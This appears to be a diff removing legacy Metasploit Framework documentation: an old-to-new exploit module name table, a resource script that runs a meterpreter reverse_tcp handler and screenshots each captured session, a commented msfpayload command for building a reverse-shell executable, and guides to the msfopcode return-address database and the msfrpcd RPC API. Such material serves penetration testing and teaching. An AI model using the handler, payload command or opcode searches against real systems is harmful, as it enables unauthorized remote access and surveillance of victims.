cacti_graphimage_exec exploit/unix/webapp/cacti_graphimage_exec
|
||||
calicclnt_getconfig exploit/windows/license/calicclnt_getconfig
|
||||
calicserv_getconfig exploit/windows/license/calicserv_getconfig
|
||||
cesarftp_mkd exploit/windows/ftp/cesarftp_mkd
|
||||
distcc_exec exploit/unix/misc/distcc_exec
|
||||
edirectory_imonitor exploit/windows/http/edirectory_imonitor
|
||||
edirectory_imonitor2 exploit/windows/http/edirectory_host
|
||||
eiq_license exploit/windows/misc/eiqnetworks_esa
|
||||
eudora_imap exploit/windows/imap/eudora_list
|
||||
exchange2000_xexch50 exploit/windows/smtp/ms03_046_exchange2000_xexch50
|
||||
firefox_queryinterface_linux exploit/multi/browser/firefox_queryinterface
|
||||
firefox_queryinterface_osx exploit/multi/browser/firefox_queryinterface
|
||||
freeftpd_user exploit/windows/ftp/freeftpd_user
|
||||
freesshd_key_exchange exploit/windows/ssh/freesshd_key_exchange
|
||||
freeftpd_key_exchange exploit/windows/ftp/freeftpd_key_exchange
|
||||
futuresoft_tftpd exploit/windows/tftp/futuresoft_transfermode
|
||||
globalscapeftp_user_input exploit/windows/ftp/globalscapeftp_input
|
||||
google_proxystylesheet_exec exploit/unix/webapp/google_proxystylesheet_exec
|
||||
hpux_lpd_exec exploit/hpux/lpd/cleanup_exec
|
||||
ia_webmail exploit/windows/http/ia_webmail
|
||||
icecast_header exploit/windows/http/icecast_header
|
||||
ie_objecttype exploit/windows/browser/ms03_020_ie_objecttype
|
||||
ie_vml_rectfill exploit/windows/browser/ms06_055_vml_method
|
||||
ie_webview_setslice exploit/windows/browser/ms06_057_webview_setslice
|
||||
ie_xp_pfv_metafile exploit/windows/browser/ms06_001_wmf_setabortproc
|
||||
ie_createtextrange exploit/windows/browser/ms06_013_createtextrange
|
||||
ie_iscomponentinstalled exploit/windows/browser/ie_iscomponentinstalled
|
||||
ie_createobject exploit/windows/browser/ie_createobject
|
||||
iis40_htr exploit/windows/iis/ms02_018_htr
|
||||
iis50_printer_overflow exploit/windows/iis/ms01_023_printer
|
||||
iis50_webdav_ntdll exploit/windows/iis/ms03_007_ntdll_webdav
|
||||
iis_fp30reg_chunked exploit/windows/isapi/fp30reg_chunked
|
||||
iis_nsiislog_post exploit/windows/isapi/nsiislog_post
|
||||
iis_w3who_overflow exploit/windows/isapi/w3who_query
|
||||
imail_imap_delete exploit/windows/imap/imail_delete
|
||||
imail_ldap exploit/windows/ldap/imail_thc
|
||||
irix_lpsched_exec exploit/irix/lpd/tagprinter_exec
|
||||
kerio_auth exploit/windows/firewall/kerio_auth
|
||||
lsass_ms04_011 exploit/windows/smb/ms04_011_lsass
|
||||
mailenable_auth_header exploit/windows/http/mailenable_auth_header
|
||||
mailenable_imap exploit/windows/imap/mailenable_status
|
||||
mailenable_imap_w3c exploit/windows/imap/mailenable_w3c_select
|
||||
maxdb_webdbm_get_overflow exploit/windows/http/maxdb_webdbm_get_overflow
|
||||
mcafee_epolicy_source exploit/windows/http/mcafee_epolicy_source
|
||||
mdaemon_imap_cram_md5 exploit/windows/imap/mdaemon_cram_md5
|
||||
mercantec_softcart exploit/bsdi/softcart/mercantec_softcart
|
||||
mercur_imap_select_overflow exploit/windows/imap/mercur_imap_select_overflow
|
||||
mercury_imap exploit/windows/imap/mercury_rename
|
||||
minishare_get_overflow exploit/windows/http/minishare_get_overflow
|
||||
mozilla_compareto exploit/multi/browser/mozilla_compareto
|
||||
ms05_030_nntp exploit/windows/nntp/ms05_030_nntp
|
||||
ms05_039_pnp exploit/windows/smb/ms05_039_pnp
|
||||
msasn1_ms04_007_killbill exploit/windows/smb/ms04_007_killbill
|
||||
msmq_deleteobject_ms05_017 exploit/windows/dcerpc/ms05_017_msmq
|
||||
msrpc_dcom_ms03_026 exploit/windows/dcerpc/ms03_026_dcom
|
||||
mssql2000_preauthentication exploit/windows/mssql/ms02_056_hello
|
||||
mssql2000_resolution exploit/windows/mssql/ms02_039_slammer
|
||||
netapi_ms06_040 exploit/windows/smb/ms06_040_netapi
|
||||
netterm_netftpd_user_overflow exploit/windows/ftp/netterm_netftpd_user
|
||||
niprint_lpd exploit/windows/lpd/niprint
|
||||
novell_messenger_acceptlang exploit/windows/http/novell_messenger_acceptlang
|
||||
openview_connectednodes_exec exploit/unix/webapp/openview_connectednodes_exec
|
||||
openview_omniback_exec exploit/unix/misc/openview_omniback_exec
|
||||
oracle9i_xdb_ftp exploit/windows/ftp/oracle9i_xdb_ftp_unlock
|
||||
oracle9i_xdb_ftp_pass exploit/windows/ftp/oracle9i_xdb_ftp_pass
|
||||
oracle9i_xdb_http exploit/windows/http/oracle9i_xdb_pass
|
||||
pajax_remote_exec exploit/unix/webapp/pajax_remote_exec
|
||||
payload_handler exploit/multi/handler
|
||||
peercast_url_linux exploit/linux/http/peercast_url
|
||||
peercast_url_win32 exploit/windows/http/peercast_url
|
||||
php_wordpress_lastpost exploit/unix/webapp/php_wordpress_lastpost
|
||||
php_vbulletin_template exploit/unix/webapp/php_vbulletin_template
|
||||
php_xmlrpc_eval exploit/unix/webapp/php_xmlrpc_eval
|
||||
phpbb_highlight exploit/unix/webapp/phpbb_highlight
|
||||
poptop_negative_read exploit/linux/pptp/poptop_negative_read
|
||||
privatewire_gateway_win32 exploit/windows/http/privatewire_gateway
|
||||
putty_ssh exploit/windows/ssh/putty_msg_debug
|
||||
realserver_describe_linux exploit/multi/realserver/describe
|
||||
realvnc_client exploit/windows/vnc/realvnc_client
|
||||
rras_ms06_025 exploit/windows/smb/ms06_025_rras
|
||||
rras_ms06_025_rasman exploit/windows/smb/ms06_025_rasmans_reg
|
||||
rsa_iiswebagent_redirect exploit/windows/isapi/rsa_webagent_redirect
|
||||
safari_safefiles_exec exploit/osx/browser/safari_metadata_archive
|
||||
samba_nttrans exploit/multi/samba/nttrans
|
||||
samba_trans2open_osx exploit/osx/samba/trans2open
|
||||
samba_trans2open_solsparc exploit/solaris/samba/trans2open
|
||||
sambar6_search_results exploit/windows/http/sambar6_search_results
|
||||
smb_sniffer auxiliary/server/capture/smb
|
||||
seattlelab_mail_55 exploit/windows/pop3/seattelab_pass
|
||||
securecrt_ssh1 exploit/windows/ssh/securecrt_ssh1
|
||||
sentinel_lm7_overflow exploit/windows/license/sentinel_lm7_udp
|
||||
servu_mdtm_overflow exploit/windows/ftp/servu_mdtm
|
||||
shixxnote_font exploit/windows/misc/shixxnote_font
|
||||
shoutcast_format_win32 exploit/windows/http/shoutcast_format
|
||||
slimftpd_list_concat exploit/windows/ftp/slimftpd_list_concat
|
||||
solaris_dtspcd_noir exploit/solaris/dtspcd/heap_noir
|
||||
solaris_lpd_exec exploit/solaris/lpd/sendmail_exec
|
||||
solaris_lpd_unlink auxiliary/dos/solaris/lpd/cascade_delete
|
||||
solaris_sadmind_exec exploit/solaris/sunrpc/solaris_sadmind_exec
|
||||
solaris_ttyprompt exploit/solaris/telnet/ttyprompt
|
||||
sphpblog_file_upload exploit/unix/webapp/sphpblog_file_upload
|
||||
squid_ntlm_authenticate exploit/linux/proxy/squid_ntlm_authenticate
|
||||
svnserve_date exploit/multi/svn/svnserve_date
|
||||
sybase_easerver exploit/windows/http/sybase_easerver
|
||||
tftpd32_long_filename exploit/windows/tftp/tftpd32_long_filename
|
||||
trackercam_phparg_overflow exploit/windows/http/trackercam_phparg_overflow
|
||||
ultravnc_client exploit/windows/vnc/ultravnc_client
|
||||
ut2004_secure_linux exploit/linux/games/ut2004_secure
|
||||
ut2004_secure_win32 exploit/windows/games/ut2004_secure
|
||||
warftpd_165_user exploit/windows/ftp/warftpd_165_user
|
||||
warftpd_165_pass exploit/windows/ftp/warftpd_165_pass
|
||||
webstar_ftp_user exploit/osx/ftp/webstar_ftp_user
|
||||
winamp_playlist_unc exploit/windows/browser/winamp_playlist_unc
|
||||
windows_ssl_pct exploit/windows/ssl/ms04_011_pct
|
||||
wins_ms04_045 exploit/windows/wins/ms04_045_wins
|
||||
wmailserver_smtp exploit/windows/smtp/wmailserver
|
||||
wsftp_server_503_mkd exploit/windows/ftp/wsftp_server_503_mkd
|
||||
ypops_smtp exploit/windows/smtp/ypops_overflow1
|
||||
zenworks_desktop_agent exploit/windows/novell/zenworks_desktop_agent
|
||||
|
|
@ -1,49 +0,0 @@
|
|||
#
|
||||
# Quick RC script to demonstrate the Ruby blocks in RC files
|
||||
#
|
||||
|
||||
#
|
||||
# Generate a corresponding EXE using msfpayload (change 192.168.0.228 to your IP):
|
||||
# $ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.228 LPORT=4444 X > reverse.exe
|
||||
#
|
||||
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
set LPORT 4444
|
||||
set LHOST 192.168.0.228
|
||||
set ExitOnSession false
|
||||
|
||||
exploit -j
|
||||
|
||||
# The first sleep below is not necessary, but makes the output cleaner
|
||||
<ruby>
|
||||
sleep(1)
|
||||
|
||||
print_status("Waiting on an incoming sessions...")
|
||||
while (true)
|
||||
framework.sessions.each_pair do |sid,s|
|
||||
thost = s.session_host
|
||||
|
||||
# Ensure that stdapi has been loaded before running
|
||||
if s.ext.aliases['stdapi']
|
||||
print_status("Screenshotting session #{sid} #{thost}...")
|
||||
s.console.run_single("screenshot -p #{thost}_#{sid}.jpg -v false -q 85")
|
||||
print_status("Closing session #{sid} #{thost}...")
|
||||
s.kill
|
||||
else
|
||||
print_status("Session #{sid} #{thost} active, but not yet configured")
|
||||
end
|
||||
|
||||
end
|
||||
sleep(1)
|
||||
end
|
||||
|
||||
print_status("All done")
|
||||
</ruby>
|
||||
|
||||
# Kill all open sessions
|
||||
sessions -K
|
||||
|
||||
# Exit the console (optional)
|
||||
exit
|
||||
|
|
@ -1,338 +0,0 @@
|
|||
Using the Opcode Database CLI (msfopcode)
|
||||
|
||||
The 3.0 version of the Metasploit Framework comes with a command line
|
||||
interface to the Metasploit Opcode Database. This can be used instead
|
||||
of the web-based wizard to easily search for portable opcode
|
||||
addresses. The interface is provided through the msfopcode command
|
||||
which is found in the root directory of the installation. This
|
||||
interface is merely a front-end to a the
|
||||
Rex::Exploitation::OpcodeDb::Client class interface that interfaces
|
||||
with a HTTP-based XML protocol running on the Metasploit.com
|
||||
web-server.
|
||||
|
||||
The interface itself provides a simplified interface to some of the
|
||||
different aspects of the opcode database. When running the command
|
||||
with no arguments, the following output is shown:
|
||||
|
||||
$ ./msfopcode
|
||||
|
||||
Usage: msfopcode command
|
||||
|
||||
SUPPORTED COMMANDS
|
||||
|
||||
stats Display database statistics
|
||||
locales Display supported locales
|
||||
metatypes Display supported opcode meta types (Ex: jmp reg)
|
||||
groups Display supported opcode groups (Ex: esp => eip)
|
||||
types Display supported opcode types (Ex: jmp esp)
|
||||
platforms Display supported platforms
|
||||
modules Display information about specific modules
|
||||
search Search for opcodes given a set of criteria
|
||||
|
||||
The purpose of the stats command is to show the current database
|
||||
statistics, such as the number of opcodes and modules currently
|
||||
indexed by the database and the last time the database was updated.
|
||||
The output to this command looks something like this:
|
||||
|
||||
$ ./msfopcode stats
|
||||
|
||||
Last Updated : Sat Sep 03 01:32:00 CDT 2005
|
||||
Number of Opcodes : 12177419
|
||||
Number of Opcode Types : 320
|
||||
Number of Platforms : 14
|
||||
Number of Architectures : 1
|
||||
Number of Modules : 17683
|
||||
Number of Module Segments: 71457
|
||||
Number of Module Imports : 2065492
|
||||
Number of Module Exports : 927637
|
||||
|
||||
The locales command lists the locales that are currently supported by
|
||||
the database. In the future, more locales will be indexed to provided
|
||||
a more complete view of opcode portability.
|
||||
|
||||
$ ./msfopcode locales
|
||||
English
|
||||
French
|
||||
|
||||
The metatypes command lists the opcode meta types currently supported
|
||||
by the database. An opcode meta type is defined as a general
|
||||
categorization of opcodes based on the action they perform, such as
|
||||
jumping to a register, performing a pop/pop/ret, and so on. The meta
|
||||
type helps categorize different specific types of opcodes.
|
||||
|
||||
$ ./msfopcode metatypes
|
||||
pop/pop/ret
|
||||
jmp reg
|
||||
call reg
|
||||
jmp [reg + offset]
|
||||
call [reg + offset]
|
||||
popad/ret
|
||||
popaw/ret
|
||||
push reg/ret
|
||||
|
||||
The groups command lists the opcode groups currently supported by the
|
||||
database. The distinction between and opcode group and an opcode meta
|
||||
type is that an opcode group associates opcodes based on the specific
|
||||
action they perform, such as transitioning the instruction pointer to
|
||||
the current value of a specific register, like esp.
|
||||
|
||||
$ ./msfopcode groups
|
||||
eax => eip
|
||||
ebx => eip
|
||||
ecx => eip
|
||||
edx => eip
|
||||
edi => eip
|
||||
esi => eip
|
||||
ebp => eip
|
||||
esp => eip
|
||||
[esp + 8] => eip
|
||||
[reg + offset] => eip
|
||||
[esp + 0x10] => eip
|
||||
[esp + 0x20] => eip
|
||||
[reg] => eip
|
||||
|
||||
The types command lists all of the various specific opcode types
|
||||
supported by the database. An opcode type is an instance of a specific
|
||||
opcode or opcodes that form one logical instruction block, such as a
|
||||
jmp esp. Opcode types are grouped together through the use of opcode
|
||||
groups and meta types. A sampling of the output is shown below:
|
||||
|
||||
$ ./msfopcode types
|
||||
jmp esp
|
||||
call esp
|
||||
push esp, ret
|
||||
jmp ebp
|
||||
call ebp
|
||||
push ebp, ret
|
||||
jmp eax
|
||||
...
|
||||
|
||||
The platforms command lists the currently supported operating system
|
||||
versions broken down by major version and service pack. At this point,
|
||||
the database supports Windows NT SP3 through Windows 2003 Server SP1.
|
||||
The database does not take into account hot fixes. Optionally,
|
||||
platforms can be filtered by specifying the -p option with an argument
|
||||
that includes a text portion of the operating system name or version
|
||||
to filter. For instance, specifying -p 2000 will return only Windows
|
||||
2000 versions.
|
||||
|
||||
$ ./msfopcode platforms
|
||||
Windows NT 4.0.3.0 SP3 (IA32)
|
||||
Windows NT 4.0.4.0 SP4 (IA32)
|
||||
Windows NT 4.0.5.0 SP5 (IA32)
|
||||
Windows NT 4.0.6.0 SP6 (IA32)
|
||||
Windows 2000 5.0.0.0 SP0 (IA32)
|
||||
Windows 2000 5.0.1.0 SP1 (IA32)
|
||||
Windows 2000 5.0.2.0 SP2 (IA32)
|
||||
Windows 2000 5.0.3.0 SP3 (IA32)
|
||||
Windows 2000 5.0.4.0 SP4 (IA32)
|
||||
Windows XP 5.1.0.0 SP0 (IA32)
|
||||
Windows XP 5.1.1.0 SP1 (IA32)
|
||||
Windows XP 5.1.2.0 SP2 (IA32)
|
||||
Windows 2003 Server 5.2.0.0 SP0 (IA32)
|
||||
Windows 2003 Server 5.2.1.0 SP1 (IA32)
|
||||
|
||||
One of the major features of the opcode database is that it indexes
|
||||
detailed information about modules. For instance, the opcode database
|
||||
currently contains information about imports, exports, segments, and
|
||||
specific module attributes for every imported module in the database.
|
||||
This makes it possible to cross reference different modules and do all
|
||||
sorts of fun things. To extract information about modules, the modules
|
||||
command can be used. The usage for this command is shown below:
|
||||
|
||||
$ ./msfopcode modules -h
|
||||
|
||||
Usage: msfopcode modules
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-E Include module export information
|
||||
-I Include module import information
|
||||
-S Include module segment information
|
||||
-d Display detailed output
|
||||
-h Help banner
|
||||
-l A comma separated list of locales to filter (Ex: English)
|
||||
-m A comma separated list of module names to filter (Ex: kernel32.dll,use
|
||||
r32.dll)
|
||||
-p A comma separated list of operating system names to filter (Ex: 2000,X
|
||||
P)
|
||||
-x Dump the raw XML response
|
||||
|
||||
The explanation in the usage for each option is fairly self
|
||||
explanatory, but the basic idea is that it's possible to search the
|
||||
database for modules with the ability to filter based on file name,
|
||||
locale, and operating system version. For the results that are
|
||||
returned, information about the module imports, exports, segments, and
|
||||
detailed information can be displayed. For example, to see all of the
|
||||
versions of kernel32.dll currently indexed in the database, the
|
||||
following command would be run:
|
||||
|
||||
$ ./msfopcode modules -m kernel32.dll
|
||||
|
||||
Matching Modules
|
||||
================
|
||||
|
||||
Name Base Address Size Version Timestamp
|
||||
Locale
|
||||
---- ------------ ---- ------- ---------
|
||||
------
|
||||
kernel32.dll 0x77e70000 790528 5.0.2191.1 Tue Dec 14 17:20:09 CST 1999 French
|
||||
kernel32.dll 0x77e40000 1056768 5.2.3790.1830031 Thu Mar 24 20:30:42 CST 2005 English
|
||||
kernel32.dll 0x77e40000 999424 5.2.3790.3 Tue Mar 25 03:42:44 CST 2003 English
|
||||
kernel32.dll 0x77f00000 385024 4.0.0.0 Fri Apr 25 15:33:31 CDT 1997 English
|
||||
kernel32.dll 0x77ef0000 421888 4.0.0.0 Mon Mar 29 18:10:58 CST 1999 English
|
||||
kernel32.dll 0x77f00000 385024 4.0.0.0 Sun Feb 28 17:49:07 CST 1999 English
|
||||
kernel32.dll 0x77f00000 385024 4.0.0.0 Tue Jul 20 18:19:59 CDT 1999 English
|
||||
kernel32.dll 0x77e80000 745472 5.0.2191.1 Wed Dec 01 01:37:24 CST 1999 English
|
||||
kernel32.dll 0x77e80000 741376 5.0.2195.1600 Fri Jun 09 21:03:14 CDT 2000 English
|
||||
kernel32.dll 0x77e80000 741376 5.0.2195.2778 Fri May 04 17:34:08 CDT 2001 English
|
||||
kernel32.dll 0x77e80000 745472 5.0.2195.5400 Tue Jul 23 03:13:13 CDT 2002 English
|
||||
kernel32.dll 0x7c4e0000 757760 5.0.2195.6688 Thu Jun 19 22:43:40 CDT 2003 English
|
||||
kernel32.dll 0x77e60000 937984 5.1.2600.0 Sat Aug 18 01:33:02 CDT 2001 English
|
||||
kernel32.dll 0x77e60000 942080 5.1.2600.11061 Thu Aug 29 06:40:40 CDT 2002 English
|
||||
kernel32.dll 0x7c800000 999424 5.1.2600.21802 Wed Aug 04 03:56:36 CDT 2004 English
|
||||
|
||||
If only the versions of kernel32.dll on Windows XP running on the
|
||||
English locale were of concern, the results could be limited by
|
||||
specifying more limiting parameters:
|
||||
$ ./msfopcode modules -m kernel32.dll -p XP -l English
|
||||
|
||||
Matching Modules
|
||||
================
|
||||
|
||||
Name Base Address Size Version Timestamp
|
||||
Locale
|
||||
---- ------------ ---- ------- ---------
|
||||
------
|
||||
kernel32.dll 0x77e60000 937984 5.1.2600.0 Sat Aug 18 01:33:02 CDT 2001 English
|
||||
kernel32.dll 0x77e60000 942080 5.1.2600.11061 Thu Aug 29 06:40:40 CDT 2002 English
|
||||
kernel32.dll 0x7c800000 999424 5.1.2600.21802 Wed Aug 04 03:56:36 CDT 2004 English
|
||||
|
||||
To display detailed information about modules that match, the -d
|
||||
parameter can be specified:
|
||||
|
||||
$ ./msfopcode modules -m kernel32.dll -p XP -l English -d
|
||||
.-============================================
|
||||
|
||||
Name : kernel32.dll
|
||||
Base Address: 0x77e60000
|
||||
Size : 937984
|
||||
Version : 5.1.2600.0
|
||||
Timestamp : Sat Aug 18 01:33:02 CDT 2001
|
||||
Locale : English
|
||||
Platforms :
|
||||
|
||||
Windows XP 5.1.0.0 SP0 (IA32)
|
||||
|
||||
.-============================================
|
||||
|
||||
Name : kernel32.dll
|
||||
Base Address: 0x77e60000
|
||||
Size : 942080
|
||||
Version : 5.1.2600.11061
|
||||
Timestamp : Thu Aug 29 06:40:40 CDT 2002
|
||||
Locale : English
|
||||
Platforms :
|
||||
|
||||
Windows XP 5.1.1.0 SP1 (IA32)
|
||||
|
||||
.-============================================
|
||||
|
||||
Name : kernel32.dll
|
||||
Base Address: 0x7c800000
|
||||
Size : 999424
|
||||
Version : 5.1.2600.21802
|
||||
Timestamp : Wed Aug 04 03:56:36 CDT 2004
|
||||
Locale : English
|
||||
Platforms :
|
||||
|
||||
Windows XP 5.1.2.0 SP2 (IA32)
|
||||
|
||||
The real purpose behind the opcode database, however, is the ability
|
||||
to search for specific opcodes across different operating system
|
||||
versions with the ability to cross reference results in order to
|
||||
determine return address portability. For that reason, the msfopcode
|
||||
script provides the search command:
|
||||
$ ./msfopcode search -h
|
||||
|
||||
Usage: msfopcode search
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-M A comma separated list of opcode meta types to filter (Ex: jmp reg)
|
||||
-P Results must span more than one operating system version
|
||||
-a A comma separated list of addresses to filter (Ex: 0x41424344)
|
||||
-g A comma separated list of opcode groups to filter (Ex: esp => eip)
|
||||
-h Help banner
|
||||
-l A comma separated list of locales to filter (Ex: English)
|
||||
-m A comma separated list of module names to filter (Ex: kernel32.dll,user32.dll)
|
||||
-p A comma separated list of operating system names to filter (Ex: 2000,XP)
|
||||
-t A semi-colon separated list of opcode types to filter (Ex: jmp esp,call esp)
|
||||
-x Dump the raw XML response
|
||||
|
||||
Like the modules command, the search command provides a way of
|
||||
limiting the results that come back as a result of the search. In this
|
||||
case, opcode results can be limited based on meta type, group, type,
|
||||
operating system, module, locale, and even address. This makes it
|
||||
possible to get fairly granular results in an intuitive manner.
|
||||
Furthermore, the server can be instructed to only return results that
|
||||
are portable in the event that the -P option is specified, although
|
||||
there are currently some issues with this option being accurate.
|
||||
|
||||
To search for all occurrences of a ecx => eip opcode group in
|
||||
ws2help.dll on Windows 2000 and XP, the following command could be
|
||||
issued:
|
||||
|
||||
$ ./msfopcode search -p 2000,XP -m ws2help.dll -g "ecx => eip"
|
||||
|
||||
Opcodes
|
||||
=======
|
||||
|
||||
Address Type OS
|
||||
------- ---- --
|
||||
0x74fa3112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
|
||||
0x71aa1224 push ecx, ret Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
|
||||
0x71aa396d call ecx Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
|
||||
0x71aa3de3 call ecx Windows XP 5.1.2.0 SP2 (IA32) (ws2help.dll)
|
||||
0x71aa163b push ecx, ret Windows XP 5.1.2.0 SP2 (IA32) (ws2help.dll)
|
||||
0x75023112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.3.0 SP3 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
|
||||
|
||||
To limit the results to portable ones only, the -P option can be
|
||||
tagged on producing output like that shown below:
|
||||
|
||||
$ ./msfopcode search -p 2000,XP -m ws2help.dll -g "ecx => eip" -P
|
||||
|
||||
Opcodes
|
||||
=======
|
||||
|
||||
Address Type OS
|
||||
------- ---- --
|
||||
0x74fa3112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
|
||||
0x71aa1224 push ecx, ret Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
|
||||
0x71aa396d call ecx Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
|
||||
0x75023112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.3.0 SP3 (IA32) (ws2help.dll)
|
||||
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
|
||||
|
||||
For custom development purposes, the script can also be told to dump
|
||||
results in raw XML format such that extensions can be written to the
|
||||
interface in the future by third parties. This can be accomplished by
|
||||
specifying the -x parameter.
|
||||
|
||||
More information online at: http://metasploit.com/framework/
|
|
@ -1,166 +0,0 @@
|
|||
[ INTRODUCTION ]
|
||||
|
||||
The msfrpcd daemon uses the xmlrpc plugin to provide a remote
|
||||
interface to the Metasploit Framework. By default, this service
|
||||
listens on port 55553, uses SSL, and is password protected.
|
||||
|
||||
The RPC interface allows access to a minimal set of framework
|
||||
APIs, covering the core framework, the module set, the job list,
|
||||
and the session table. These APIs can be used to enumerate
|
||||
modules, execute them, and interact with the resulting sessions
|
||||
and jobs.
|
||||
|
||||
|
||||
[ USAGE ]
|
||||
|
||||
To activate the RPC interface, launch msfrpcd, or load msfconsole
|
||||
and load the xmlrpc plugin.
|
||||
|
||||
$ ./msfrpcd -P s3cr3tp4ss
|
||||
- or -
|
||||
msf> load xmlrpc Pass=s3cr3tp4ss
|
||||
|
||||
Once the interface is started, any compatible RPC interface can be used
|
||||
to interact with the service. The 'msfrpc' client provides a Ruby
|
||||
shell that can be used to talk to the service.
|
||||
|
||||
$ ./msfrpc -h server_name -P s3cr3tp4ss
|
||||
[*] The 'rpc' object holds the RPC client interface
|
||||
|
||||
>> rpc.call("core.version")
|
||||
=> {"version"=>"3.3-dev"}
|
||||
|
||||
|
||||
[ API - AUTH ]
|
||||
|
||||
Method: auth.login
|
||||
Expects: username, password
|
||||
Returns: { "result" => "success", "token" => "<token>" }
|
||||
Summary: This method is used by rpc.login() to obtain the session key
|
||||
(token) which is sent in subsequent requests. This token uniquely
|
||||
identifies a particular client and can be used by multiple clients,
|
||||
even after the originating TCP session is closed. The RPC client
|
||||
object automatically sends this token with all other method calls.
|
||||
Inactive tokens are destroyed after five minutes of non-use.
|
||||
|
||||
|
||||
[ API - CORE ]
|
||||
|
||||
Method: core.version
|
||||
Expects: none
|
||||
Returns: { "version" => "<framework-version>" }
|
||||
|
||||
|
||||
[ API - MODULE ]
|
||||
|
||||
Method: module.exploits
|
||||
Method: module.auxiliary
|
||||
Method: module.payloads
|
||||
Method. module.encoders
|
||||
Method: module.nops
|
||||
Expects: none
|
||||
Returns: { "modules" => [ "module1", "module2", ... ] }
|
||||
Summary: This method is used to obtain a list of available modules
|
||||
of the specified type. The resulting module names can be used in
|
||||
other calls within the module service.
|
||||
|
||||
Method: module.info
|
||||
Expects: module_type, module_name
|
||||
Returns: { "name" => "<name>", ... }
|
||||
Summary: This method returns all shared module fields (name, authors,
|
||||
version, description, etc), but also the list of targets and actions
|
||||
when appropriate.
|
||||
|
||||
Method: module.options
|
||||
Expects: module_type, module_name
|
||||
Returns: { "<option_name>" => { "type" => "integer", ... } }
|
||||
Summary: This method returns a list of all options for a given module,
|
||||
including advanced and evasion options. The returned hash contains
|
||||
detailed information about each option, including its type, its
|
||||
default value, whether it is required, and so on.
|
||||
|
||||
Method: module.compatible_payloads
|
||||
Expects: module_name
|
||||
Returns: { "payloads" => [ "payload1", "payload2", ... ] }
|
||||
Summary: This method only works for exploit modules and returns a
|
||||
list of payloads that are compatible with the specified exploit.
|
||||
|
||||
Method: module.execute
|
||||
Expects: module_type, module_name, options_hash
|
||||
Returns: { "result" => "success" }
|
||||
Summary: This method only works for exploit and auxiliary modules
|
||||
and uses the simplified framework API to launch these modules
|
||||
with the specified options. Option values should be placed into
|
||||
the options_hash argument, including items such as PAYLOAD,
|
||||
TARGET, ACTION, and all required options.
|
||||
|
||||
|
||||
|
||||
[ API - JOB ]
|
||||
|
||||
Method: job.list
|
||||
Expects: none
|
||||
Returns: { "<job_id>" => "<job_name>" }
|
||||
Summary: This method returns a list of running jobs, along with
|
||||
the name of the job.
|
||||
|
||||
Method: job.stop
|
||||
Expects: job_id
|
||||
Returns: { "result" => "success" }
|
||||
Summary: This method kills a specific job by ID
|
||||
|
||||
|
||||
|
||||
[ API - SESSION ]
|
||||
|
||||
Method: session.list
|
||||
Expects: none
|
||||
Returns: { "<session_id>" => { "type" => "shell", ... } }
|
||||
Summary: This method returns a list of active sessions, including
|
||||
the fields type, tunnel_local, tunnel_peer, via_exploit,
|
||||
via_payload, and desc.
|
||||
|
||||
Method: session.stop
|
||||
Expects: session_id
|
||||
Returns: { "result" => "success" }
|
||||
Summary: This method kills a specific session by ID
|
||||
|
||||
Method: session.shell_read
|
||||
Expects: session_id
|
||||
Returns: { "data" => "<shell_data>" }
|
||||
Summary: This method reads any pending output from a session. This
|
||||
method only works for sessions of type "shell" and does not block.
|
||||
|
||||
Method: session.shell_write
|
||||
Expects: session_id, shell_data
|
||||
Returns: { "write_count" => "<number_of_bytes_written>" }
|
||||
Summary: This method writes the specified input into the session.
|
||||
This method only works for sessions of type "shell" and does not
|
||||
block.
|
||||
|
||||
|
||||
[ EXCEPTIONS ]
|
||||
|
||||
When an error occurs, an exception is thrown on the client side. This
|
||||
exception will be of class XMLRPC::FaultException and the faultCode
|
||||
and faultString methods of this exception will contain detailed
|
||||
information about the problem. Many API calls will raise faultCode
|
||||
of 404 when the specified item is not found. An unhandled, server
|
||||
exception will result in a faultCode of 500 on the client side.
|
||||
|
||||
|
||||
|
||||
[ SECURITY CONSIDERATIONS ]
|
||||
|
||||
At this time, the SSL certificate used by the service is
|
||||
dynamically allocated, making it vulnerable to a man-in-the-middle
|
||||
attack. Future versions will address this by allowing a certificate
|
||||
to be generated and verified.
|
||||
|
||||
The current implementation passes the username and password for the
|
||||
RPC service as parameters on the command line. This can lead to
|
||||
disclosure of the password to other local users on some Unix systems.
|
||||
The msfrpc and msfrpcd applications change the displayed arguments
|
||||
as soon as they are launched, but there is still a brief window of
|
||||
time where another local user may snoop the msfrpcd password. In the
|
||||
future, the password will be specified via TTY or file.
|
|
@ -1,77 +0,0 @@
|
|||
Steps needed to build the POSIX meterpreter from scratch
|
||||
